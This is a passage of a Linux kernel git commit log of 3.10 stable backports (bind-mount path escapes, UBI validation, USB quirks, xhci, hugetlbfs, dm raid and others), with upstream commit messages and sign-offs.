and swap them MAC address before change active slave. Signed-off-by: Ding Tianhong Tested-by: Nikolay Aleksandrov Signed-off-by: David S. Miller [bwh: Backported to 3.10: bond_for_each_slave() takes an extra int paramter] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfdee5b9af6f4e152a5c889a980e5ac006dfc74a Author: Andreas Schwab Date: Wed Sep 23 23:12:09 2015 +0200 m68k: Define asmlinkage_protect commit 8474ba74193d302e8340dddd1e16c85cc4b98caf upstream. Make sure the compiler does not modify arguments of syscall functions. This can happen if the compiler generates a tailcall to another function. For example, without asmlinkage_protect sys_openat is compiled into this function: sys_openat: clr.l %d0 move.w 18(%sp),%d0 move.l %d0,16(%sp) jbra do_sys_open Note how the fourth argument is modified in place, modifying the register %d4 that gets restored from this stack slot when the function returns to user-space. The caller may expect the register to be unmodified across system calls. Signed-off-by: Andreas Schwab Signed-off-by: Geert Uytterhoeven Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f90aee902816e5e41ed4c2a414865ec237bc89d Author: Mark Salyzyn Date: Mon Sep 21 21:39:50 2015 +0100 arm64: readahead: fault retry breaks mmap file read random detection commit 569ba74a7ba69f46ce2950bf085b37fea2408385 upstream. This is the arm64 portion of commit 45cac65b0fcd ("readahead: fault retry breaks mmap file read random detection"), which was absent from the initial port and has since gone unnoticed. The original commit says: > .fault now can retry. The retry can break state machine of .fault. In > filemap_fault, if page is miss, ra->mmap_miss is increased. In the second > try, since the page is in page cache now, ra->mmap_miss is decreased. And > these are done in one fault, so we can't detect random mmap file access. > > Add a new flag to indicate .fault is tried once. In the second try, skip > ra->mmap_miss decreasing. The filemap_fault state machine is ok with it. With this change, Mark reports that: > Random read improves by 250%, sequential read improves by 40%, and > random write by 400% to an eMMC device with dm crypto wrapped around it. Cc: Shaohua Li Cc: Rik van Riel Cc: Wu Fengguang Signed-off-by: Mark Salyzyn Signed-off-by: Riley Andrews Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cba0522f83039cb6d7c1a9de2c45e892d0fe253b Author: Eric W. Biederman Date: Sat Aug 15 20:27:13 2015 -0500 vfs: Test for and handle paths that are unreachable from their mnt_root commit 397d425dc26da728396e66d392d5dcb8dac30c37 upstream. In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26025bf97b486000f9ef406dac6cf51a7d3a2ce0 Author: Eric W. Biederman Date: Sat Aug 15 13:36:12 2015 -0500 dcache: Handle escaped paths in prepend_path commit cde93be45a8a90d8c264c776fab63487b5038a65 upstream. A rename can result in a dentry that by walking up d_parent will never reach it's mnt_root. For lack of a better term I call this an escaped path. prepend_path is called by four different functions __d_path, d_absolute_path, d_path, and getcwd. __d_path only wants to see paths are connected to the root it passes in. So __d_path needs prepend_path to return an error. d_absolute_path similarly wants to see paths that are connected to some root. Escaped paths are not connected to any mnt_root so d_absolute_path needs prepend_path to return an error greater than 1. So escaped paths will be treated like paths on lazily unmounted mounts. getcwd needs to prepend "(unreachable)" so getcwd also needs prepend_path to return an error. d_path is the interesting hold out. d_path just wants to print something, and does not care about the weird cases. Which raises the question what should be printed? Given that / should result in -ENOENT I believe it is desirable for escaped paths to be printed as empty paths. As there are not really any meaninful path components when considered from the perspective of a mount tree. So tweak prepend_path to return an empty path with an new error code of 3 when it encounters an escaped path. Signed-off-by: "Eric W. Biederman" Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa79911dae23cbf993a21e2890c3aa934c2254c Author: Mike Marciniszyn Date: Tue Jul 21 08:36:07 2015 -0400 IB/qib: Change lkey table allocation to support more MRs commit d6f1c17e162b2a11e708f28fa93f2f79c164b442 upstream. The lkey table is allocated with with a get_user_pages() with an order based on a number of index bits from a module parameter. The underlying kernel code cannot allocate that many contiguous pages. There is no reason the underlying memory needs to be physically contiguous. This patch: - switches the allocation/deallocation to vmalloc/vfree - caps the number of bits to 23 to insure at least 1 generation bit o this matches the module parameter description Reviewed-by: Vinit Agnihotri Signed-off-by: Mike Marciniszyn Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7390f1d19415f0c6cad5e700de04c13020eb4b58 Author: shengyong Date: Mon Sep 28 17:57:19 2015 +0000 UBI: return ENOSPC if no enough space available commit 7c7feb2ebfc9c0552c51f0c050db1d1a004faac5 upstream. UBI: attaching mtd1 to ubi0 UBI: scanning is finished UBI error: init_volumes: not enough PEBs, required 706, available 686 UBI error: ubi_wl_init: no enough physical eraseblocks (-20, need 1) UBI error: ubi_attach_mtd_dev: failed to attach mtd1, error -12 <= NOT ENOMEM UBI error: ubi_init: cannot attach mtd1 If available PEBs are not enough when initializing volumes, return -ENOSPC directly. If available PEBs are not enough when initializing WL, return -ENOSPC instead of -ENOMEM. Signed-off-by: Sheng Yong Signed-off-by: Richard Weinberger Reviewed-by: David Gstir Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1faf8c2654caced7c501f19780438e0655d4b60e Author: Richard Weinberger Date: Tue Sep 22 23:58:07 2015 +0200 UBI: Validate data_size commit 281fda27673f833a01d516658a64d22a32c8e072 upstream. Make sure that data_size is less than LEB size. Otherwise a handcrafted UBI image is able to trigger an out of bounds memory access in ubi_compare_lebs(). Signed-off-by: Richard Weinberger Reviewed-by: David Gstir Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97a264a2e174fe02c0d03f3b0368d7466c07642a Author: Paul Mackerras Date: Thu Sep 10 14:36:21 2015 +1000 powerpc/MSI: Fix race condition in tearing down MSI interrupts commit e297c939b745e420ef0b9dc989cb87bda617b399 upstream. This fixes a race which can result in the same virtual IRQ number being assigned to two different MSI interrupts. The most visible consequence of that is usually a warning and stack trace from the sysfs code about an attempt to create a duplicate entry in sysfs. The race happens when one CPU (say CPU 0) is disposing of an MSI while another CPU (say CPU 1) is setting up an MSI. CPU 0 calls (for example) pnv_teardown_msi_irqs(), which calls msi_bitmap_free_hwirqs() to indicate that the MSI (i.e. its hardware IRQ number) is no longer in use. Then, before CPU 0 gets to calling irq_dispose_mapping() to free up the virtal IRQ number, CPU 1 comes in and calls msi_bitmap_alloc_hwirqs() to allocate an MSI, and gets the same hardware IRQ number that CPU 0 just freed. CPU 1 then calls irq_create_mapping() to get a virtual IRQ number, which sees that there is currently a mapping for that hardware IRQ number and returns the corresponding virtual IRQ number (which is the same virtual IRQ number that CPU 0 was using). CPU 0 then calls irq_dispose_mapping() and frees that virtual IRQ number. Now, if another CPU comes along and calls irq_create_mapping(), it is likely to get the virtual IRQ number that was just freed, resulting in the same virtual IRQ number apparently being used for two different hardware interrupts. To fix this race, we just move the call to msi_bitmap_free_hwirqs() to after the call to irq_dispose_mapping(). Since virq_to_hw() doesn't work for the virtual IRQ number after irq_dispose_mapping() has been called, we need to call it before irq_dispose_mapping() and remember the result for the msi_bitmap_free_hwirqs() call. The pattern of calling msi_bitmap_free_hwirqs() before irq_dispose_mapping() appears in 5 places under arch/powerpc, and appears to have originated in commit 05af7bd2d75e ("[POWERPC] MPIC U3/U4 MSI backend") from 2007. Fixes: 05af7bd2d75e ("[POWERPC] MPIC U3/U4 MSI backend") Reported-by: Alexey Kardashevskiy Signed-off-by: Paul Mackerras Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 627952ccb08f249b725a0a7ed1e8730ed6bb0cbf Author: NeilBrown Date: Wed Jul 22 10:20:07 2015 +1000 md: flush ->event_work before stopping array. commit ee5d004fd0591536a061451eba2b187092e9127c upstream. The 'event_work' worker used by dm-raid may still be running when the array is stopped. This can result in an oops. So flush the workqueue on which it is run after detaching and before destroying the device. Reported-by: Heinz Mauelshagen Signed-off-by: NeilBrown Fixes: 9d09e663d550 ("dm: raid456 basic support") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac066396c263b144cddb38114e9784d991915f46 Author: James Hogan Date: Fri Mar 27 08:33:43 2015 +0000 MIPS: dma-default: Fix 32-bit fall back to GFP_DMA commit 53960059d56ecef67d4ddd546731623641a3d2d1 upstream. If there is a DMA zone (usually 24bit = 16MB I believe), but no DMA32 zone, as is the case for some 32-bit kernels, then massage_gfp_flags() will cause DMA memory allocated for devices with a 32..63-bit coherent_dma_mask to fall back to using __GFP_DMA, even though there may only be 32-bits of physical address available anyway. Correct that case to compare against a mask the size of phys_addr_t instead of always using a 64-bit mask. Signed-off-by: James Hogan Fixes: a2e715a86c6d ("MIPS: DMA: Fix computation of DMA flags from device's coherent_dma_mask.") Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9610/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23e73f06d14c6750440b573164d9ab1358fbb88f Author: Yao-Wen Mao Date: Mon Aug 31 14:24:09 2015 +0800 USB: Add reset-resume quirk for two Plantronics usb headphones. commit 8484bf2981b3d006426ac052a3642c9ce1d8d980 upstream. These two headphones need a reset-resume quirk to properly resume to original volume level. Signed-off-by: Yao-Wen Mao Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60ed40af24d73657bebd68bbe30d112506bc5440 Author: Vincent Palatin Date: Thu Oct 1 14:10:22 2015 -0700 usb: Add device quirk for Logitech PTZ cameras commit 72194739f54607bbf8cfded159627a2015381557 upstream. Add a device quirk for the Logitech PTZ Pro Camera and its sibling the ConferenceCam CC3000e Camera. This fixes the failed camera enumeration on some boot, particularly on machines with fast CPU. Tested by connecting a Logitech PTZ Pro Camera to a machine with a Haswell Core i7-4600U CPU @ 2.10GHz, and doing thousands of reboot cycles while recording the kernel logs and taking camera picture after each boot. Before the patch, more than 7% of the boots show some enumeration transfer failures and in a few of them, the kernel is giving up before actually enumerating the webcam. After the patch, the enumeration has been correct on every reboot. Signed-off-by: Vincent Palatin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbad7bbf830e9b004ee99a4b1a855f4dea14edfe Author: Mathias Nyman Date: Mon Sep 21 17:46:09 2015 +0300 usb: Use the USB_SS_MULT() macro to get the burst multiplier. commit ff30cbc8da425754e8ab96904db1d295bd034f27 upstream. Bits 1:0 of the bmAttributes are used for the burst multiplier. The rest of the bits used to be reserved (zero), but USB3.1 takes bit 7 into use. Use the existing USB_SS_MULT() macro instead to make sure the mult value and hence max packet calculations are correct for USB3.1 devices. Note that burst multiplier in bmAttributes is zero based and that the USB_SS_MULT() macro adds one. Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c7e0217c716484626a25a2f6f4fd12243abc421 Author: Jann Horn Date: Fri Sep 18 23:41:23 2015 +0200 security: fix typo in security_task_prctl commit b7f76ea2ef6739ee484a165ffbac98deb855d3d3 upstream. Signed-off-by: Jann Horn Reviewed-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0485219603e20707d55615378bd0ac77db194c18 Author: Mark Brown Date: Sat Sep 19 07:12:34 2015 -0700 regmap: debugfs: Don't bother actually printing when calculating max length commit 176fc2d5770a0990eebff903ba680d2edd32e718 upstream. The in kernel snprintf() will conveniently return the actual length of the printed string even if not given an output beffer at all so just do that rather than relying on the user to pass in a suitable buffer, ensuring that we don't need to worry if the buffer was truncated due to the size of the buffer passed in. Reported-by: Rasmus Villemoes Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35ea0cddd4b535b2fd2dc34a6c1d37c17571d03d Author: Mark Brown Date: Sat Sep 19 07:00:18 2015 -0700 regmap: debugfs: Ensure we don't underflow when printing access masks commit b763ec17ac762470eec5be8ebcc43e4f8b2c2b82 upstream. If a read is attempted which is smaller than the line length then we may underflow the subtraction we're doing with the unsigned size_t type so move some of the calculation to be additions on the right hand side instead in order to avoid this. Reported-by: Rasmus Villemoes Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d18ca36efc245a447a77c6d2dfc0c791626f6bfb Author: Jan Kara Date: Wed Jan 7 13:49:08 2015 +0100 udf: Check length of extended attributes and allocation descriptors commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream. Check length of extended attributes and allocation descriptors when loading inodes from disk. Otherwise corrupted filesystems could confuse the code and make the kernel oops. Reported-by: Carl Henrik Lunde Cc: stable@vger.kernel.org Signed-off-by: Jan Kara Signed-off-by: Jiri Slaby [Jan and Jiri fixed it in 3.12 stable, i ported it to 3.10 stable, replaced bs by inode->i_sb->s_blocksize] Signed-off-by: Zhang Zhen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46f7f153b7f6b53fe9fa35c9552b32a96fac4a43 Author: Julian Anastasov Date: Wed Jul 8 08:31:33 2015 +0300 ipvs: fix crash with sync protocol v0 and FTP commit 56184858d1fc95c46723436b455cb7261cd8be6f upstream. Fix crash in 3.5+ if FTP is used after switching sync_version to 0. Fixes: 749c42b620a9 ("ipvs: reduce sync rate with time thresholds") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad1e1e25b035519fe4326965ea1afcf10799a0e2 Author: Julian Anastasov Date: Sat Jun 27 14:39:30 2015 +0300 ipvs: do not use random local source address for tunnels commit 4754957f04f5f368792a0eb7dab0ae89fb93dcfd upstream. Michael Vallaly reports about wrong source address used in rare cases for tunneled traffic. Looks like __ip_vs_get_out_rt in 3.10+ is providing uninitialized dest_dst->dst_saddr.ip because ip_vs_dest_dst_alloc uses kmalloc. While we retry after seeing EINVAL from routing for data that does not look like valid local address, it still succeeded when this memory was previously used from other dests and with different local addresses. As result, we can use valid local address that is not suitable for our real server. Fix it by providing 0.0.0.0 every time our cache is refreshed. By this way we will get preferred source address from routing. Reported-by: Michael Vallaly Fixes: 026ace060dfe ("ipvs: optimize dst usage for real server") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d26a303294dcad1b8057643073830c84eefcc4a1 Author: Linus Torvalds Date: Wed Sep 30 12:48:40 2015 -0400 Initialize msg/shm IPC objects before doing ipc_addid() commit b9a532277938798b53178d5a66af6e2915cb27cf upstream. As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov Cc: Manfred Spraul Cc: Davidlohr Bueso Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca1783c4d9a3abf39b2be34f046587a9542729e9 Author: Reyad Attiyat Date: Thu Aug 6 19:23:58 2015 +0300 usb: xhci: Add support for URB_ZERO_PACKET to bulk/sg transfers commit 4758dcd19a7d9ba9610b38fecb93f65f56f86346 upstream. This commit checks for the URB_ZERO_PACKET flag and creates an extra zero-length td if the urb transfer length is a multiple of the endpoint's max packet length. Signed-off-by: Reyad Attiyat Signed-off-by: Mathias Nyman Cc: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba668aae08831808fd8d26e9d7d45fb0551b373f Author: Pranav Vashi Date: Wed Sep 28 02:08:29 2016 +0530 Revert "usb: xhci: Add support for zero length packet" This reverts commit fca6509b264d05d62aeeaa70718028b53ddf8836. Signed-off-by: Pranav Vashi commit 98d513bcad940fa01c22f01e2a591cfc5e692c8c Author: Mathias Nyman Date: Mon Sep 21 17:46:16 2015 +0300 xhci: change xhci 1.0 only restrictions to support xhci 1.1 commit dca7794539eff04b786fb6907186989e5eaaa9c2 upstream. Some changes between xhci 0.96 and xhci 1.0 specifications forced us to check the hci version in code, some of these checks were implemented as hci_version == 1.0, which will not work with new xhci 1.1 controllers. xhci 1.1 behaves similar to xhci 1.0 in these cases, so change these checks to hci_version >= 1.0 Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0b9ee35ea059a640691b766804897335580b193 Author: Roger Quadros Date: Mon Sep 21 17:46:13 2015 +0300 usb: xhci: Clear XHCI_STATE_DYING on start commit e5bfeab0ad515b4f6df39fe716603e9dc6d3dfd0 upstream. For whatever reason if XHCI died in the previous instant then it will never recover on the next xhci_start unless we clear the DYING flag. Signed-off-by: Roger Quadros Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2f189af78dab395b6720bfab0236a06b3e23104 Author: Johan Hovold Date: Wed Sep 23 11:41:42 2015 -0700 USB: whiteheat: fix potential null-deref at probe commit cbb4be652d374f64661137756b8f357a1827d6a4 upstream. Fix potential null-pointer dereference at probe by making sure that the required endpoints are present. The whiteheat driver assumes there are at least five pairs of bulk endpoints, of which the final pair is used for the "command port". An attempt to bind to an interface with fewer bulk endpoints would currently lead to an oops. Fixes CVE-2015-5257. Reported-by: Moein Ghasemzadeh Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ab4a4074fecf2b79ad22459725992f89dba91f Author: Daniel Vetter Date: Tue Jun 23 11:34:21 2015 +0200 drm: Reject DRI1 hw lock ioctl functions for kms drivers commit da168d81b44898404d281d5dbe70154ab5f117c1 upstream. I've done some extensive history digging across libdrm, mesa and xf86-video-{intel,nouveau,ati}. The only potential user of this with kms drivers I could find was ttmtest, which once used drmGetLock still. But that mistake was quickly fixed up. Even the intel xvmc library (which otherwise was really good with using dri1 stuff in kms mode) managed to never take the hw lock for dri2 (and hence kms). Hence it should be save to unconditionally disallow this. Cc: Peter Antoine Reviewed-by: Peter Antoine Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit faaf497b08c78d13fe1ad5266fcfa5db123942b1 Author: Steve French Date: Tue Sep 22 09:29:38 2015 -0500 disabling oplocks/leases via module parm enable_oplocks broken for SMB3 commit e0ddde9d44e37fbc21ce893553094ecf1a633ab5 upstream. leases (oplocks) were always requested for SMB2/SMB3 even when oplocks disabled in the cifs.ko module. Signed-off-by: Steve French Reviewed-by: Chandrika Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef2db5d603a54874fa6e6f42e7c3759cf13869e4 Author: Joe Stringer Date: Tue Jul 21 21:37:31 2015 -0700 netfilter: nf_conntrack: Support expectations in different zones commit 4b31814d20cbe5cd4ccf18089751e77a04afe4f2 upstream. When zones were originally introduced, the expectation functions were all extended to perform lookup using the zone. However, insertion was not modified to check the zone. This means that two expectations which are intended to apply for different connections that have the same tuple but exist in different zones cannot both be tracked. Fixes: 5d0aa2ccd4 (netfilter: nf_conntrack: add support for "conntrack zones") Signed-off-by: Joe Stringer Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0fa7df4d6bfd9f59fff7f057b182192190bb27b Author: Mikulas Patocka Date: Fri Oct 2 11:17:37 2015 -0400 dm raid: fix round up of default region size commit 042745ee53a0a7c1f5aff191a4a24213c6dcfb52 upstream. Commit 3a0f9aaee028 ("dm raid: round region_size to power of two") intended to make sure that the default region size is a power of two. However, the logic in that commit is incorrect and sets the variable region_size to 0 or 1, depending on whether min_region_size is a power of two. Fix this logic, using roundup_pow_of_two(), so that region_size is properly rounded up to the next power of two. Signed-off-by: Mikulas Patocka Fixes: 3a0f9aaee028 ("dm raid: round region_size to power of two") Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87b03fd12158645bb9f2575959840086da64fbdd Author: Liu.Zhao Date: Mon Aug 24 08:36:12 2015 -0700 USB: option: add ZTE PIDs commit 19ab6bc5674a30fdb6a2436b068d19a3c17dc73e upstream. This is intended to add ZTE device PIDs on kernel. Signed-off-by: Liu.Zhao [johan: sort the new entries ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82d1c56e1d3257efe09f1e08bbdf998cac81fee0 Author: Joe Thornber Date: Wed Aug 12 15:12:09 2015 +0100 dm btree: add ref counting ops for the leaves of top level btrees commit b0dc3c8bc157c60b1d470163882be8c13e1950af upstream. When using nested btrees, the top leaves of the top levels contain block addresses for the root of the next tree down. If we shadow a shared leaf node the leaf values (sub tree roots) should be incremented accordingly. This is only an issue if there is metadata sharing in the top levels. Which only occurs if metadata snapshots are being used (as is possible with dm-thinp). And could result in a block from the thinp metadata snap being reused early, thus corrupting the thinp metadata snap. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9052adc5e4deb6255a0d170b7a8e4c0f8604b07a Author: Ian Abbott Date: Tue Aug 11 13:05:10 2015 +0100 staging: comedi: adl_pci7x3x: fix digital output on PCI-7230 commit ad83dbd974feb2e2a8cc071a1d28782bd4d2c70e upstream. The "adl_pci7x3x" driver replaced the "adl_pci7230" and "adl_pci7432" drivers in commits 8f567c373c4b ("staging: comedi: new adl_pci7x3x driver") and 657f77d173d3 ("staging: comedi: remove adl_pci7230 and adl_pci7432 drivers"). Although the new driver code agrees with the user manuals for the respective boards, digital outputs stopped working on the PCI-7230. This has 16 digital output channels and the previous adl_pci7230 driver shifted the 16 bit output state left by 16 bits before writing to the hardware register. The new adl_pci7x3x driver doesn't do that. Fix it in `adl_pci7x3x_do_insn_bits()` by checking for the special case of the subdevice having only 16 channels and duplicating the 16 bit output state into both halves of the 32-bit register. That should work both for what the board actually does and for what the user manual says it should do. Fixes: 8f567c373c4b ("staging: comedi: new adl_pci7x3x driver") Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41c7f1d0d231bac114c784d6ae80a8043ef37f95 Author: Jeff Mahoney Date: Fri Sep 11 21:44:17 2015 -0400 btrfs: skip waiting on ordered range for special files commit a30e577c96f59b1e1678ea5462432b09bf7d5cbc upstream. In btrfs_evict_inode, we properly truncate the page cache for evicted inodes but then we call btrfs_wait_ordered_range for every inode as well. It's the right thing to do for regular files but results in incorrect behavior for device inodes for block devices. filemap_fdatawrite_range gets called with inode->i_mapping which gets resolved to the block device inode before getting passed to wbc_attach_fdatawrite_inode and ultimately to inode_to_bdi. What happens next depends on whether there's an open file handle associated with the inode. If there is, we write to the block device, which is unexpected behavior. If there isn't, we through normally and inode->i_data is used. We can also end up racing against open/close which can result in crashes when i_mapping points to a block device inode that has been closed. Since there can't be any page cache associated with special file inodes, it's safe to skip the btrfs_wait_ordered_range call entirely and avoid the problem. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=100911 Tested-by: Christoph Biedl Signed-off-by: Jeff Mahoney Reviewed-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1f0fea09d7c704136356d08453af2f155c6262a Author: Yitian Bu Date: Fri Oct 2 15:18:41 2015 +0800 ASoC: dwc: correct irq clear method commit 4873867e5f2bd90faad861dd94865099fc3140f3 upstream. from Designware I2S datasheet, tx/rx XRUN irq is cleared by reading register TOR/ROR, rather than by writing into them. Signed-off-by: Yitian Bu Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34bcac1266f060a52f0b5e9fedfecab5d4bd1b0 Author: Robert Jarzmik Date: Tue Sep 15 20:51:31 2015 +0200 ASoC: fix broken pxa SoC support commit 3c8f7710c1c44fb650bc29b6ef78ed8b60cfaa28 upstream. The previous fix of pxa library support, which was introduced to fix the library dependency, broke the previous SoC behavior, where a machine code binding pxa2xx-ac97 with a coded relied on : - sound/soc/pxa/pxa2xx-ac97.c - sound/soc/codecs/XXX.c For example, the mioa701_wm9713.c machine code is currently broken. The "select ARM" statement wrongly selects the soc/arm/pxa2xx-ac97 for compilation, as per an unfortunate fate SND_PXA2XX_AC97 is both declared in sound/arm/Kconfig and sound/soc/pxa/Kconfig. Fix this by ensuring that SND_PXA2XX_SOC correctly triggers the correct pxa2xx-ac97 compilation. Fixes: 846172dfe33c ("ASoC: fix SND_PXA2XX_LIB Kconfig warning") Signed-off-by: Robert Jarzmik Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e2eec764eecabc418c5bdb0c6a3caaadfeb7199 Author: Takashi Iwai Date: Mon Oct 5 16:55:09 2015 +0200 ALSA: synth: Fix conflicting OSS device registration on AWE32 commit 225db5762dc1a35b26850477ffa06e5cd0097243 upstream. When OSS emulation is loaded on ISA SB AWE32 chip, we get now kernel warnings like: WARNING: CPU: 0 PID: 2791 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x51/0x80() sysfs: cannot create duplicate filename '/devices/isa/sbawe.0/sound/card0/seq-oss-0-0' It's because both emux synth and opl3 drivers try to register their OSS device object with the same static index number 0. This hasn't been a big problem until the recent rewrite of device management code (that exposes sysfs at the same time), but it's been an obvious bug. This patch works around it just by using a different index number of emux synth object. There can be a more elegant way to fix, but it's enough for now, as this code won't be touched so often, in anyway. Reported-and-tested-by: Michael Shell Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2260522744df1ad42cf5a108839f879ddf8a848 Author: Mel Gorman Date: Thu Oct 1 15:36:57 2015 -0700 mm: hugetlbfs: skip shared VMAs when unmapping private pages to satisfy a fault commit 2f84a8990ebbe235c59716896e017c6b2ca1200f upstream. SunDong reported the following on https://bugzilla.kernel.org/show_bug.cgi?id=103841 I think I find a linux bug, I have the test cases is constructed. I can stable recurring problems in fedora22(4.0.4) kernel version, arch for x86_64. I construct transparent huge page, when the parent and child process with MAP_SHARE, MAP_PRIVATE way to access the same huge page area, it has the opportunity to lead to huge page copy on write failure, and then it will munmap the child corresponding mmap area, but then the child mmap area with VM_MAYSHARE attributes, child process munmap this area can trigger VM_BUG_ON in set_vma_resv_flags functions (vma - > vm_flags & VM_MAYSHARE). There were a number of problems with the report (e.g. it's hugetlbfs that triggers this, not transparent huge pages) but it was fundamentally correct in that a VM_BUG_ON in set_vma_resv_flags() can be triggered that looks like this vma ffff8804651fd0d0 start 00007fc474e00000 end 00007fc475e00000 next ffff8804651fd018 prev ffff8804651fd188 mm ffff88046b1b1800 prot 8000000000000027 anon_vma (null) vm_ops ffffffff8182a7a0 pgoff 0 file ffff88106bdb9800 private_data (null) flags: 0x84400fb(read|write|shared|mayread|maywrite|mayexec|mayshare|dontexpand|hugetlb) ------------ kernel BUG at mm/hugetlb.c:462! SMP Modules linked in: xt_pkttype xt_LOG xt_limit [..] CPU: 38 PID: 26839 Comm: map Not tainted 4.0.4-default #1 Hardware name: Dell Inc. PowerEdge R810/0TT6JF, BIOS 2.7.4 04/26/2012 set_vma_resv_flags+0x2d/0x30 The VM_BUG_ON is correct because private and shared mappings have different reservation accounting but the warning clearly shows that the VMA is shared. When a private COW fails to allocate a new page then only the process that created the VMA gets the page -- all the children unmap the page. If the children access that data in the future then they get killed. The problem is that the same file is mapped shared and private. During the COW, the allocation fails, the VMAs are traversed to unmap the other private pages but a shared VMA is found and the bug is triggered. This patch identifies such VMAs and skips them. Signed-off-by: Mel Gorman Reported-by: SunDong Reviewed-by: Michal Hocko Cc: Andrea Arcangeli Cc: Hugh Dickins Cc: Naoya Horiguchi Cc: David Rientjes Reviewed-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8db2da627910ac6df7ff3058b5f274998746c3fa Author: Tan, Jui Nee Date: Tue Sep 1 10:22:51 2015 +0800 spi: spi-pxa2xx: Check status register to determine if SSSR_TINT is disabled commit 02bc933ebb59208f42c2e6305b2c17fd306f695d upstream. On Intel Baytrail, there is case when interrupt handler get called, no SPI message is captured. The RX FIFO is indeed empty when RX timeout pending interrupt (SSSR_TINT) happens. Use the BIOS version where both HSUART and SPI are on the same IRQ. Both drivers are using IRQF_SHARED when calling the request_irq function. When running two separate and independent SPI and HSUART application that generate data traffic on both components, user will see messages like below on the console: pxa2xx-spi pxa2xx-spi.0: bad message state in interrupt handler This commit will fix this by first checking Receiver Time-out Interrupt, if it is disabled, ignore the request and return without servicing. Signed-off-by: Tan, Jui Nee Acked-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 492ac400f47dcb29b9666ee4c22b3a3dc60adbfe Author: Guenter Roeck Date: Sun Sep 6 01:46:54 2015 +0300 spi: Fix documentation of spi_alloc_master() commit a394d635193b641f2c86ead5ada5b115d57c51f8 upstream. Actually, spi_master_put() after spi_alloc_master() must _not_ be followed by kfree(). The 